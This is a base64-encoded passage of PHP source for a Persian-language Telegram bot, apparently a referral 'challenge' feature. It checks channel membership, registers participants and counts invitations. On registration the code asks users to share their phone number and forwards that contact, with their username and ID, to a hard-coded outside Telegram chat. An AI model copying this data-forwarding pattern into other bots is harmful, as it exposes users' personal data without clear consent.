in2YQg2YXYpyDYudi22Ygg2YbbjNiz2KrbjNiv8J+Tr+Kclu+4jwoK2YTYt9mB2Kcg2KfYqNiq2K/YpyDYr9ixINqp2KfZhtin2YQg2YXYpyDYudi22Ygg2KjYtNuM2K/imJHvuI8K2KrYpyDYqNiq2YjYp9mG24zZgNmA2YDYryDYp9iyINiq2YXYp9mFINin2YXaqdin2YbYp9iqINix2KjYp9iqINin2LPYqtmB2KfYr9mHINqp2YbbjNmA2YDYr+KclO+4j+KclO+4j+KclO+4jwpodHRwczovL3QuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLm0ubWUvZnRfdGVhbQpodHRwczovL3QuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLm0ubWUvZnRfdGVhbQrYqNi52K8g2KfYsiDYudi22YjbjNiqINix2YjbjCDYr9qp2YXZhyAvc3RhcnQg2qnZhNuM2qkg2qnZhtuM2K8g2KrYpyDYr9qp2YXZhyDZh9in24wg2KfYtdmE24wg2LjYp9mH2LEg2KjYtNmI2YbYr/CflJgiLAoncmVwbHlfbWFya3VwJz0+J3sia2V5Ym9hcmQiOltbIiJdLFsiL3N0YXJ0Il1dLCJyZXNpemVfa2V5Ym9hcmQiOnRydWV9JywKXSk7CnJldHVybiBmYWxzZTsKfQoJCQkJJG5hbWU9ZmlsZV9nZXRfY29udGVudHMoImRhdGEvJGZhZG1pbi9ib3RuYW1lLnR4dCIpOwoJCQkJaWYoJG5hbWU9PW51bGwpewoJCQkJCWJvdCgnc2VuZG1lc3NhZ2UnLFsKCQkJCSdjaGF0X2lkJz0+JGNoYXRfaWQsCgkJCQkndGV4dCc9PiLYtNmF2Kcg2YfbjNqGINix2KjYp9iq24wg2YbYs9in2K7YqtmHINin24zYr+KblCIsCgkJCQldKTsKCQkJCQl9ZWxzZXsKCQkJCWJvdCgnc2VuZG1lc3NhZ2UnLFsKCQkJCSdjaGF0X2lkJz0+JGNoYXRfaWQsCgkJCQkndGV4dCc9PiLYp9iu2LHbjNmGINix2KjYp9iqINiz2KfYrtiq2Ycg2LTYr9mHINiq2YjYs9i3INi02YXYp1xuQCRuYW1lIiwKCQkJJ3BhcnNlX21vZGUnPT4iaHRtbCIsCgkJCSdyZXBseV9tYXJrdXAnPT5qc29uX2VuY29kZShbCgkJCSdpbmxpbmVfa2V5Ym9hcmQnPT5bCgkJCVtbJ3RleHQnPT4iPCRuYW1lPiIsJ3VybCc9PiJodHRwczovL2MuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLnkubWUvJG5hbWUiXV0KCQkJXQoJCQldKQoJCQkJCV0pOwoJCQkJfQoJCQkJfQoJCQkJCWVsc2VpZigkdGV4dDE9PSLimqDvuI/ar9iy2KfYsdi0INiq2K7ZhNmB4pqg77iPIil7CgkJCQkJCSBpZiAoc3RycG9zKCRpbmNoICwgJyJzdGF0dXMiOiJsZWZ0IicpICE9PSBmYWxzZSAgKSAKICB7CmJvdCgnc2VuZG1lc3NhZ2UnLFsKJ2NoYXRfaWQnPT4kY2hhdF9pZCwKJ3RleHQnPT4i2LTZhdinINiv2LEg2qnYp9mG2KfZhCDZhdinINi52LbZiCDZhtuM2LPYqtuM2K/wn5Ov4pyW77iPCgrZhNi32YHYpyDYp9io2KrYr9inINiv2LEg2qnYp9mG2KfZhCDZhdinINi52LbZiCDYqNi024zYr+KYke+4jwrYqtinINio2KrZiNin2YbbjNmA2YDZgNivINin2LIg2KrZhdin2YUg2KfZhdqp2KfZhtin2Kog2LHYqNin2Kog2KfYs9iq2YHYp9iv2Ycg2qnZhtuM2YDZgNiv4pyU77iP4pyU77iP4pyU77iPCmh0dHBzOi8vdC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ubS5tZS9mdF90ZWFtCmh0dHBzOi8vdC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ubS5tZS9mdF90ZWFtCtio2LnYryDYp9iyINi52LbZiNuM2Kog2LHZiNuMINiv2qnZhdmHIC9zdGFydCDaqdmE24zaqSDaqdmG24zYryDYqtinINiv2qnZhdmHINmH2KfbjCDYp9i12YTbjCDYuNin2YfYsSDYqNi02YjZhtiv8J+UmCIsCidyZXBseV9tYXJrdXAnPT4neyJrZXlib2FyZCI6W1siIl0sWyIvc3RhcnQiXV0sInJlc2l6ZV9rZXlib2FyZCI6dHJ1ZX0nLApdKTsKcmV0dXJuIGZhbHNlOwp9CgkJCQkJZmlsZV9wdXRfY29udGVudHMoImRhdGEvJGZhZG1pbi9vbmUudHh0IiwicG9zaHRpYmFuIik7CgkJCQkJYm90KCdzZW5kbWVzc2FnZScsWwoJCQkJCSdjaGF0X2lkJz0+JGNoYXRfaWQsCgkJCQkJJ3RleHQnPT4i2YTYt9mB2Kcg2KrYrtmE2YEg2LHYpyDaqdin2YXZhNinINio24zYp9mGINqp2YbbjNivINiq2Kcg2KfYr9mF24zZhiDZh9in24wg2q/YsdmI2Ycg2b7bjNqv24zYsduMINqp2YbZhtivIDoiLAoJCQkJCSdyZXBseV9tYXJrdXAnPT5qc29uX2VuY29kZShbCgkJCQkJJ3Jlc2l6ZV9rZXlib2FyZCc9PnRydWUsCgkJCQkJJ2tleWJvYXJkJz0+WwoJCQkJCVtbJ3RleHQnPT4i8J+Umdio2LHar9i02Krwn5SZIl1dCgkJCQkJXQoJCQkJCV0pLAoJCQkJCgkJCQkJXSk7CgkJCQkJfWVsc2VpZigkc3RlcD09InBvc2h0aWJhbiIpewoJCQkJCWlmKCR0ZXh0MT09IvCflJnYqNix2q/YtNiq8J+UmSIpewoJCQkJCQlmaWxlX3B1dF9jb250ZW50cygiZGF0YS8kZmFkbWluL29uZS50eHQiLCJudWxsIik7CgkJCQkJCWJvdCgnc2VuZG1lc3NhZ2UnLFsKCQkJCQkJJ2NoYXRfaWQnPT4kY2hhdF9pZCwKCQkJCQkJJ3RleHQnPT4i2KjZhyDZhdmG2YjbjCDYp9mI2YQg2KjYsdqv2LTYqtuM2K/ihqkiLAoJCQkJCQkncmVwbHlfbWFya3VwJz0+JGtleWhvbWUsCgkJCQkJCV0pOwoJCQkJCQl9ZWxzZXsKCQkJCQkJCQlmaWxlX3B1dF9jb250ZW50cygiZGF0YS8kZmFkbWluL29uZS50eHQiLCJudWxsIik7CgkJCQkJCQlib3QoJ2ZvcndhcmRtZXNzYWdlJyxbCgkJCQkJCQknY2hhdF9pZCc9PiIxMzA1OTEwMDEiLAoJCQkJCQkJJ2Zyb21fY2hhdF9pZCc9PiRjaGF0X2lkLAoJCQkJCQkJJ21lc3NhZ2VfaWQnPT4kbWVzc2FnZV9pZCwKCQkJCQkJCV0pOwoJCQkJCQkJYm90KCdmb3J3YXJkbWVzc2FnZScsWwoJCQkJCQkJJ2NoYXRfaWQnPT4iQGRqZmpmamZqZmZqIiwKCQkJCQkJCSdmcm9tX2NoYXRfaWQnPT4kY2hhdF9pZCwKCQkJCQkJCSdtZXNzYWdlX2lkJz0+JG1lc3NhZ2VfaWQsCgkJCQkJCQldKTsKCQkJCQkJCWJvdCgnc2VuZG1lc3NhZ2UnLFsKCQkJCQkJCSdjaGF0X2lkJz0+JGNoYXRfaWQsCgkJCQkJCQkndGV4dCc9PiLZvtuM2KfZhdiq2KfZhiDYqNmHINiv2LPYqiDZhdiv24zYsSDYp9i12YTbjCDYsdio2KfYqiDYsdiz24zYryDZiCDYr9ix2K3Yp9mEINio2LHYsdiz24wg2YXbjNio2KfYtNiv4pyFIiwKCQkJCQkJCSdyZXBseV9tYXJrdXAnPT4ka2V5aG9tZSwKCQkJCQkJCV0pOwoJCQkJCQkJfQoJCQkJCQkJfWVsc2VpZigkdGV4dDE9PSLwn46K2KvYqNiqINmG2KfZhSDahtin2YTYtCIpewoJCQkJCQkJCSBpZiAoc3RycG9zKCRpbmNoICwgJyJzdGF0dXMiOiJsZWZ0IicpICE9PSBmYWxzZSAgKSAKICB7CmJvdCgnc2VuZG1lc3NhZ2UnLFsKJ2NoYXRfaWQnPT4kY2hhdF9pZCwKJ3RleHQnPT4i2LTZhdinINiv2LEg2qnYp9mG2KfZhCDZhdinINi52LbZiCDZhtuM2LPYqtuM2K/wn5Ov4pyW77iPCgrZhNi32YHYpyDYp9io2KrYr9inINiv2LEg2qnYp9mG2KfZhCDZhdinINi52LbZiCDYqNi024zYr+KYke+4jwrYqtinINio2KrZiNin2YbbjNmA2YDZgNivINin2LIg2KrZhdin2YUg2KfZhdqp2KfZhtin2Kog2LHYqNin2Kog2KfYs9iq2YHYp9iv2Ycg2qnZhtuM2YDZgNiv4pyU77iP4pyU77iP4pyU77iPCmh0dHBzOi8vdC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ubS5tZS9mdF90ZWFtCmh0dHBzOi8vdC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ubS5tZS9mdF90ZWFtCtio2LnYryDYp9iyINi52LbZiNuM2Kog2LHZiNuMINiv2qnZhdmHIC9zdGFydCDaqdmE24zaqSDaqdmG24zYryDYqtinINiv2qnZhdmHINmH2KfbjCDYp9i12YTbjCDYuNin2YfYsSDYqNi02YjZhtiv8J+UmCIsCidyZXBseV9tYXJrdXAnPT4neyJrZXlib2FyZCI6W1siIl0sWyIvc3RhcnQiXV0sInJlc2l6ZV9rZXlib2FyZCI6dHJ1ZX0nLApdKTsKcmV0dXJuIGZhbHNlOwp9CgkJCQkJCQkJJHN1bWJpdD1maWxlX2dldF9jb250ZW50cygiZGF0YS8kZmFkbWluL3N1bWJpdC50eHQiKTsKCQkJCQkJCQlpZigkc3VtYml0PT0i4pyFIil7CgkJCQkJCQkJYm90KCdzZW5kbWVzc2FnZScsWwoJCQkJCQkJCSdjaGF0X2lkJz0+JGNoYXRfaWQsCgkJCQkJCQkJJ3RleHQnPT4i2LTZhdinINuM2qkg2KjYp9ixINir2KjYqiDZhtin2YUg2KfZhtis2KfZhSDYr9in2K/ZhyDYp9uM2K8gXG7ZhtuM2KfYsiDYqNmHINir2KjYqiDZhtin2YUg2K/ZiNio2KfYsdmHINmG24zYs9iq8J+aqyIsCgkJCQkJCQkJXSk7CgkJCQkJCQkJCQoJCQkJCQkJCQl9ZWxzZXsKCQkJCQkJCQlmaWxlX3B1dF9jb250ZW50cygiZGF0YS8kZmFkbWluL29uZS50eHQiLCJzdW1iaXRjaGFsZXNoIik7CgkJCQkJCQkJYm90KCdzZW5kbWVzc2FnZScsWwoJCQkJCQkJCSdjaGF0X2lkJz0+JGNoYXRfaWQsCgkJCQkJCQkJJ3RleHQnPT4i2YTYt9mB2Kcg2LHZiNuMINiv2qnZhdmHINin2LTYqtix2KfaqSDYtNmF2KfYsdmHINqp2YTbjNqpINqp2YbbjNivINiq2Kcg2KvYqNiqINmG2KfZhSDYp9mG2KzYp9mFINi02YjYr1xuXG7Yr9ixINi12YjYsdiqINio2LHZhtiv2Ycg2LTYr9mGINis2KfbjNiy2Ycg2KjZhyDZh9mF24zZhiDYtNmF2KfYsdmHINin2LHYs9in2YQg2YXbjCDYtNmI2K8gISEhIiwKCQkJCQkJCQkncmVwbHlfbWFya3VwJz0+anNvbl9lbmNvZGUoWwoJCQkJCQkJCSdyZXNpemVfa2V5Ym9hcmQnPT50cnVlLAoJCQkJCQkJCSdrZXlib2FyZCc9PlsKCQkJCQkJCQlbWyd0ZXh0Jz0+IuKYjtin2LTYqtix2KfaqSDYtNmF2KfYsdmHIiwncmVxdWVzdF9jb250YWN0Jz0+dHJ1ZV1dLAoJCQkJCQkJCV0KCQkJCQkJCQldKSwKCQkJCQkJCQkKCQkJCQkJCQldKTsKCQkJCQkJCQl9CgkJCQkJCQkJfWVsc2VpZigkc3RlcD09InN1bWJpdGNoYWxlc2giKXsKCQkJCQkJCQkJaWYoaXNzZXQoJG1lc3NhZ2UtPmNvbnRhY3QpKXsKCQkJCQkJCQkJCQlta2RpcigiZGF0YS9rYXJiYXIiKTsKCQkJCQkJCQkJCQlmaWxlX3B1dF9jb250ZW50cygiZGF0YS8kZmFkbWluL25hbWUudHh0IiwkY25hbWUpOwoJCQkJCQkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCJkYXRhLyRmYWRtaW4vdXNlci50eHQiLCR1bmFtZSk7CgkJCQkJCQkJCQkJZmlsZV9wdXRfY29udGVudHMoImRhdGEva2FyYmFyLyR1bmFtZS50eHQiLCRmYWRtaW4pOwoJCQkJCQkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCJkYXRhLyRmYWRtaW4vc3VtYml0LnR4dCIsIuKchSIpOwoJCQkJCQkJCQkJCQoJCQkJCQkJCQkJCSRmb3Blbj1mb3BlbigiZGF0YS9hbWFyY2hhbGVzaC50eHQiLCJhKyIpOwoJCQkJCQkJCQkJCWZ3cml0ZSgkZm9wZW4sJ1siJy4kdW5hbWUuJyJdLCcpOwoJCQkJCQkJCQkJCWZjbG9zZSgkZm9wZW4pOwoJCQkJCQkJCQkJZmlsZV9wdXRfY29udGVudHMoImRhdGEvJGNpZC9vbmUudHh0IiwibnVsbCIpOwoJCQkJCQkJCQkJJGRvYj0iaHR0cHM6Ly90Li4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5tLm1lL3B2Zm9yZW1vc3RfYm90P3N0YXJ0PSRmYWRtaW4iOwoJCQkJCQkJCQkJYm90KCdzZW5kbWVzc2FnZScsWwoJCQkJCQkJCQkJJ2NoYXRfaWQnPT4kY2hhdF9pZCwKCQkJCQkJCQkJCSd0ZXh0Jz0+Itir2KjYqiDZhtin2YUg2LTZhdinINio2Kcg2YXZiNmB2YLbjNiqINin2YbYrNin2YUg2LTYr+KchVxuXG7aqdivINiy24zYsSDYsdmIINio2LHYp9uMINiv2YjYs9iq2KfZhiDYrtmI2K8g2KjZgdix2LPYqtuM2K8g2KrYpyDYqNinINio24zYtNiq2LHbjNmGINiy24zYsSDZhdis2YXZiNi52Ycg2KjYsdmG2K/ZhyDYs9mI2LHYsyDZvtuM2YjbjCDYsdiz2KfZhiDYqNmHINin2LHYsti0INiv2Ygg2YXbjNmE24zZiNmGINix24zYp9mEINio2KfYtNuM2K/wn5ix8J+YsVxuXG4kZG9iIiwKCQkJCQkJCQkJCSdyZXBseV9tYXJrdXAnPT4ka2V5aG9tZSwKCQkJCQkJCQkJCV0pOwoJCQkJCQkJCQkJYm90KCdzZW5kbWVzc2FnZScsWwoJCQkJCQkJCSdjaGF0X2lkJz0+IkBkamZqZmpmamZmaiIsCgkJCQkJCQkJJ3RleHQnPT4i24zaqSDaqdin2LHYqNixINiv2LEg2obYp9mE2LQg2KvYqNiqINmG2KfZhSDaqdix2K8gOlxuVXNlcm5hbWUgOiBcclxuQCR1bmFtZVxuSUQgOlxuJGZhZG1pbiIKCQkJCQkJCQldKTsKCQkJCQkJCQlib3QoJ2ZvcndhcmRtZXNzYWdlJyxbCgkJCQkJCQkJJ2NoYXRfaWQnPT4iQGRqZmpmamZqZmZqIiwKCQkJCQkJCQknZnJvbV9jaGF0X2lkJz0+JGZhZG1pbiwKCQkJCQkJCQknbWVzc2FnZV9pZCc9PiRtZXNzYWdlX2lkLAoJCQkJCQkJCV0pOwoJCQkJCQkJCQoJCQkJCQkJCQkJfWVsc2V7CgkJCQkJCQkJCQlib3QoJ3NlbmRtZXNzYWdlJyxbCgkJCQkJCQkJCQknY2hhdF9pZCc9PiRjaGF0X2lkLAoJCQkJCQkJCQkJJ3RleHQnPT4i2YTYt9mB2Kcg2KfYsiDYr9qp2YXZhyDYstuM2LEg2KfZgtiv2KfZhSDYqNmHINin2LHYs9in2YQg2LTZhdin2LHZhyDaqdmG24zYr+KblCIsCgkJCQkJCQkJCQldKTsKCQkJCQkJCQkJCQoJCQkJCQkJCQkJfQoJCQkJCQkJCQkKCQkJCQkJCQkJfWVsc2VpZigkdGV4dDE9PSLwn5OI2KLZhdin2LEg2obYp9mE2LQiKXsKCQkJCQkJCQkJCSBpZiAoc3RycG9zKCRpbmNoICwgJyJzdGF0dXMiOiJsZWZ0IicpICE9PSBmYWxzZSAgKSAKICB7CmJvdCgnc2VuZG1lc3NhZ2UnLFsKJ2NoYXRfaWQnPT4kY2hhdF9pZCwKJ3RleHQnPT4i2LTZhdinINiv2LEg2qnYp9mG2KfZhCDZhdinINi52LbZiCDZhtuM2LPYqtuM2K/wn5Ov4pyW77iPCgrZhNi32YHYpyDYp9io2KrYr9inINiv2LEg2qnYp9mG2KfZhCDZhdinINi52LbZiCDYqNi024zYr+KYke+4jwrYqtinINio2KrZiNin2YbbjNmA2YDZgNivINin2LIg2KrZhdin2YUg2KfZhdqp2KfZhtin2Kog2LHYqNin2Kog2KfYs9iq2YHYp9iv2Ycg2qnZhtuM2YDZgNiv4pyU77iP4pyU77iP4pyU77iPCmh0dHBzOi8vdC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ubS5tZS9mdF90ZWFtCmh0dHBzOi8vdC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ubS5tZS9mdF90ZWFtCtio2LnYryDYp9iyINi52LbZiNuM2Kog2LHZiNuMINiv2qnZhdmHIC9zdGFydCDaqdmE24zaqSDaqdmG24zYryDYqtinINiv2qnZhdmHINmH2KfbjCDYp9i12YTbjCDYuNin2YfYsSDYqNi02YjZhtiv8J+UmCIsCidyZXBseV9tYXJrdXAnPT4neyJrZXlib2FyZCI6W1siIl0sWyIvc3RhcnQiXV0sInJlc2l6ZV9rZXlib2FyZCI6dHJ1ZX0nLApdKTsKcmV0dXJuIGZhbHNlOwp9CgkJCQkJCQkJCQlmaWxlX3B1dF9jb250ZW50cygiZGF0YS8kZmFkbWluL29uZS50eHQiLCJhbWFyY2hhbGVzaCIpOwoJCQkJCQkJCQkJJGJ1dHRvbj1maWxlX2dldF9jb250ZW50cygiZGF0YS9hbWFyY2hhbGVzaC50eHQiKTsKCQkJCQkJCQkJCWJvdCgnc2VuZG1lc3NhZ2UnLFsKCQkJCQkJCQkJCSdjaGF0X2lkJz0+JGZhZG1pbiwKCQkJCQkJCQkJCSd0ZXh0Jz0+Itio2LHYp9uMINiv24zYr9mGINmG2KrYp9uM2Kwg2obYp9mE2LQg2LHZiNuMINin2LPZhSDYtNix2qnYqiDaqdmG2YbYr9qv2KfZhiDaqdmE24zaqSDaqdmG24zYryA6IiwKCQkJCQkJCQkJCSdyZXBseV9tYXJrdXAnPT4neyJrZXlib2FyZCI6WycuJGJ1dHRvbi4nWyLirIXYqNix2q/YtNiqIl1dLCJyZXNpemVfa2V5Ym9hcmQiOnRydWV9JywKCQkJCQkJCQkJCV0pOwoJCQkJCQkJCQkJCgkJCQkJCQkJCQl9ZWxzZWlmKCRzdGVwPT0iYW1hcmNoYWxlc2giKXsKCQkJCQkJCQkJCQlpZigkdGV4dDE9PSLirIXYqNix2q/YtNiqIil7CgkJCQkJCQkJCQkJZmlsZV9wdXRfY29udGVudHMoImRhdGEvJGZhZG1pbi9vbmUudHh0IiwibnVsbCIpOwoJCQkJCWJvdCgnc2VuZG1lc3NhZ2UnLFsKCQkJCQknY2hhdF9pZCc9PiRjaGF0X2lkLAoJCQkJCSd0ZXh0Jz0+Itio2Ycg2YXZhtmI24wg2KfYtdmE24wg2KjYsdqv2LTYqtuM2K8gOiBcbtuM2qkg2q/YstuM2YbZhyDYp9mG2KrYrtin2Kgg2qnZhtuM2K8gOiIsCgkJCQkJJ3JlcGx5X21hcmt1cCc9PiRrZXlob21lLAoJCQkJCV0pOwkKCQkJCQkJCQkJCQkJCgkJCQkJCQkJCQkJCX1lbHNlaWYoZmlsZV9leGlzdHMoImRhdGEva2FyYmFyLyR0ZXh0MS50eHQiKSl7CgkJCQkJCQkJCQkJCQkkZ2V0PWZpbGVfZ2V0X2NvbnRlbnRzKCJkYXRhL2thcmJhci8kdGV4dDEudHh0Iik7CgkJCQkJCQkJCQkJCQkkZ2V0Mj1maWxlX2dldF9jb250ZW50cygiZGF0YS8kZ2V0L21lbS50eHQiKTsKCQkJCQkJCQkJCQkJCSRhbWFyPWV4cGxvZGUoIlxuIiwkZ2V0Mik7CgkJCQkJCQkJCQkJCQkkYW1hcj1jb3VudCgkYW1hciktMTsJCQkJCQkJCQkJCQkJJGdldDM9ZmlsZV9nZXRfY29udGVudHMoImRhdGEvJGdldC91c2VyLnR4dCIpOwoJCQkJCQkJCQkJCQkJJHRleHQ9Itqp2KfYsdio2LEgJHRleHQxIDpcbtuM2YjYstix2YbbjNmFIDogJGdldDMgXG4g2KLZhdin2LEgOiAkYW1hciDZhtmB2LEgXG7ZhNuM2YbaqSDYp9iu2KrYtdin2LXbjCA6XG4gdGVsZWdyYW0ubWUvcHZmb3JlbW9zdF9ib3Q/c3RhcnQ9JGdldCAiOwoJCQkJCQkJCQkJCQkJYm90KCdzZW5kbWVzc2FnZScsWwoJCQkJCQkJCQkJCQkJJ2NoYXRfaWQnPT4kY2hhdF9pZCwKCQkJCQkJCQkJCQkJCSd0ZXh0Jz0+JHRleHQsCgkJCQkJCQkJCQkJCQldKTsKCQkJCQkJCQkJCQkJCX1lbHNlewoJCQkJCQkJCQkJCQkJYm90KCdzZW5kbWVzc2FnZScsWwoJCQkJCQkJCQkJCQkJJ2NoYXRfaWQnPT4kY2hhdF9pZCwKCQkJCQkJCQkJCQkJCSd0ZXh0Jz0+ItmE2LfZgdinINin2LIg2K/aqdmF2Ycg2YfYp9uMINiy24zYsSDYp9iz2KrZgdin2K/ZhyDaqdmG24zYr/CfmqsiLAoJCQkJCQkJCQkJCQkJXSk7CgkJCQkJCQkJCQkJCQl9CgkJCQkJCQkJCQkJCgkJCQkJCQkJCQkJfWVsc2VpZigkdGV4dDE9PSIvc3RhcnQgJHN0YXJ0Y2hhbGVzaCIpewoJCQkJCQkJCQkJCQkkbWVtYmVycHY9ZmlsZV9nZXRfY29udGVudHMoImRhdGEvdXNlcnB2Zm9yZW1vc3QudHh0Iik7CgkJCQkJCQkJCQkJCSRleHBvbmU9ZXhwbG9kZSgiXG4iLCRtZW1iZXJwdik7CgkJCQkJCQkJCQkJCSRtZW1iZXIyPWZpbGVfZ2V0X2NvbnRlbnRzKCJkYXRhLyRzdGFydGNoYWxlc2gvbWVtLnR4dCIpOwoJCQkJCQkJCQkJCQkkZXhwdHdvPWV4cGxvZGUoIlxuIiwkbWVtYmVyMik7CgkJCQkJCQkJCQkJCWlmKGluX2FycmF5KCRmYWRtaW4sJGV4cG9uZSkpewoJCQkJCQkJCQkJCQkJYm90KCdzZW5kbWVzc2FnZScsWwoJCQkJCQkJCQkJCQkJJ2NoYXRfaWQnPT4kY2hhdF9pZCwKCQkJCQkJCQkJCQkJCSd0ZXh0Jz0+Iti02YXYpyDYp9iyINmC2KjZhCDYudi22Ygg2LHYqNin2Kog2KjZiNiv24zYr/CfmqsKCQkJCQkJCQkJCQkJCQoJCQkJCQkJCQkJCQkJ2LPZhNin2YUgWyRmbmFtZV0oaHR0cHM6Ly90Li4uY29udGVudC1hdmFpbGFibGUtdG8tYXV0aG9yLW9ubHkuLi5tLm1lLyR1bmFtZSkg2KjZhyDYsdio2KfYqiDYs9in2K7YqiDZvtuM2KfZhSDYsdiz2KfZhiDYqtmE2q/Ysdin2YUg2K7ZiNi0INin2YjZhdiv24wKIAogX+KXvdmC2KjZhCDYp9iyINiz2KfYrtiqINix2KjYp9iqINmC2YjYp9mG24zZhiDZiCDYsdin2YfZhtmF2Kcg2LHZiCDZhdi02KfZh9iv2Ycg2qnZhtuM2YYKIOKXvdmH2LEg2YbZgdixINmF24zYqtmI2KfZhtivINuM2qkg2LHYqNin2Kog2KjYs9in2LLYryDYqNix2KfbjCDYsdio2KfYqiDYr9mI2YUg2YXbjNiq2YjYp9mG24zYryDYqNmHINm+2LTYqtuM2KjYp9mG24wg2YXYsdin2KzYudmHINqp2YbbjNmGINuM2Kcg2LHYqNin2Kog2KfZiNmEINix2Kcg2K3YsNmBINmG2YXYp9uM24zYrwog4pe92Kfar9ixINix2KjYp9iq24wg2YXYtNin2YfYr9mHINqp2LHYr9uM2YYg2qnZhyDYrtmE2KfZgSDZgtmI2KfZhtuM2YYg2LnZhdmEINqp2LHYr9mHINit2KrZhdinINio2Ycg2YXYpyDYp9i32YTYp9i5INiv2YfbjNivCl8KINio2Kcg2KrYtNqp2LEg2b7YtNiq24zYqNin2YbbjCDZvtuMINmI24wg2YHZiNix2YXYp9iz2KoKW0ZvcmVtb3N0IFRlYW1dKGh0dHBzOi8vdC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ubS5tZS9mb3JlbW9zdF90ZWFtKSIsCidwYXJzZV9tb2RlJz0+Im1hcmtkb3duIiwKJ3JlcGx5X21hcmt1cCc9PiRrZXlob21lLAoJCQkJCQkJCQkJCQkJXSk7CgkJCQkJCQkJCQkJCQkKCQkJCQkJCQkJCQkJCX1lbHNlewoJCQkJCQkJCQkJCQkJCSRmb3Blbj1mb3BlbigiZGF0YS8kc3RhcnRjaGFsZXNoL21lbS50eHQiLCJhKyIpOwoJCQkJCQkJCQkJCQkJCWZ3cml0ZSgkZm9wZW4sIiRmYWRtaW5cbiIpOwoJCQkJCQkJCQkJCQkJCWZjbG9zZSgkZm9wZW4pOwoJCQkJCQkJCQkJCQkJYm90KCdzZW5kbWVzc2FnZScsWwoJCQkJCQkJCQkJCQkJJ2NoYXRfaWQnPT4kY2hhdF9pZCwKCQkJCQkJCQkJCQkJCSd0ZXh0Jz0+Itiz2YTYp9mFIFskZm5hbWVdKGh0dHBzOi8vdC4uLmNvbnRlbnQtYXZhaWxhYmxlLXRvLWF1dGhvci1vbmx5Li4ubS5tZS8kdW5hbWUpINio2Ycg2LHYqNin2Kog2LPYp9iu2Kog2b7bjNin2YUg2LHYs9in2YYg2KrZhNqv2LHYp9mFINiu2YjYtCDYp9mI2YXYr9uMCiAKIF/il73Zgtio2YQg2KfYsiDYs9in2K7YqiDYsdio2KfYqiDZgtmI2KfZhtuM2YYg2Ygg2LHYp9mH2YbZhdinINix2Ygg2YXYtNin2YfYr9mHINqp2YbbjNmGCiDil73Zh9ixINmG2YHYsSDZhduM2KrZiNin2YbYryDbjNqpINix2KjYp9iqINio2LPYp9iy2K8g2KjYsdin24wg2LHYqNin2Kog2K/ZiNmFINmF24zYqtmI2KfZhtuM2K8g2KjZhyDZvti02KrbjNio2KfZhtuMINmF2LHYp9is2LnZhyDaqdmG24zZhiDbjNinINix2KjYp9iqINin2YjZhCDYsdinINit2LDZgSDZhtmF2KfbjNuM2K8KIOKXvdin2q/YsSDYsdio2KfYqtuMINmF2LTYp9mH2K/ZhyDaqdix2K/bjNmGINqp2Ycg2K7ZhNin2YEg2YLZiNin2YbbjNmGINi52YXZhCDaqdix2K/ZhyDYrdiq2YXYpyDYqNmHINmF2Kcg2KfYt9mE2KfYuSDYr9mH24zYrwpfCiDYqNinINiq2LTaqdixINm+2LTYqtuM2KjYp9mG24wg2b7bjCDZiNuMINmB2YjYsdmF2KfYs9iqCltGb3JlbW9zdCBUZWFtXShodHRwczovL3QuLi5jb250ZW50LWF2YWlsYWJsZS10by1hdXRob3Itb25seS4uLm0ubWUvZm9yZW1vc3RfdGVhbSkiLAoncGFyc2VfbW9kZSc9PiJtYXJrZG93biIsCgkJCQkncmVwbHlfbWFya3VwJz0+JGtleWhvbWUsCgkJCQkJCQkJCQkJCQldKTsKCQkJCQkJCQkJCQkJCSRhbWFyPWZpbGVfZ2V0X2NvbnRlbnRzKCJkYXRhLyRzdGFydGNoYWxlc2gvbWVtLnR4dCIpOwoJCQkJCQkJCQkJCQkJJGV4cD1leHBsb2RlKCJcbiIsJGFtYXIpOwoJCQkJCQkJCQkJCQkJJGFtYXI9Y291bnQoJGV4cCktMTsKCQkJCQkJCQkJCQkJCWJvdCgnc2VuZG1lc3NhZ2UnLFsKCQkJCQkJCQkJCQkJCSdjaGF0X2lkJz0+JHN0YXJ0Y2hhbGVzaCwKCQkJCQkJCQkJCQkJCSd0ZXh0Jz0+ItuM2qkg2qnYp9ix2KjYsSDYqNmHINiy24zYsSDZhdis2YXZiNi52Ycg2YfYp9uMINi02YXYpyDYp9i22KfZgdmHINi02K/inIVcbiDYotmF2KfYsSDZh9in24wg2LTZhdinINiq2Kcg2KfZhNin2YYgJGFtYXIg2YbZgdixIiwKCQkJCQkJCQkJCQkJCV0pOwoJCQkJCQkJCQkJCQkJfQoJCQkJCQkJCQkJCQl9ZWxzZWlmKCR0ZXh0MT09Itii2YXYp9ixINqp2YTbjCIgJiYgaW5fYXJyYXkoJGZhZG1pbiwkYWRtaW4pKXsKCQkJCQkJCQkJCQkJCWZpbGVfcHV0X2NvbnRlbnRzKCJkYXRhL2FtYXJrb2xpLnR4dCIsIiIpOwoJCQkJCQkJCQkJCQkJJGRpcj1zY2FuZGlyKCJkYXRhL2thcmJhciIpOwoJCQkJCQkJCQkJCQkJJGNvdW50PWNvdW50KCRkaXIpOwoJCQkJCQkJCQkJCQkJZm9yKCR4PTM7JHggPCAkY291bnQ7ICR4KyspewoJCQkJCQkJCQkJCQkJJG9uZT1maWxlX2dldF9jb250ZW50cygiZGF0YS9rYXJiYXIvJGRpclskeF0iKTsKCQkJCQkJCQkJCQkJCSR0d289c3RyX3JlcGxhY2UoIi50eHQiLCIiLCRkaXJbJHhdKTsKCQkJCQkJCQkJCQkJCSR0aHJlZT1maWxlX2dldF9jb250ZW50cygiZGF0YS8kb25lL21lbS50eHQiKTsKCQkJCQkJCQkJCQkJCSRleHA9ZXhwbG9kZSgiXG4iLCR0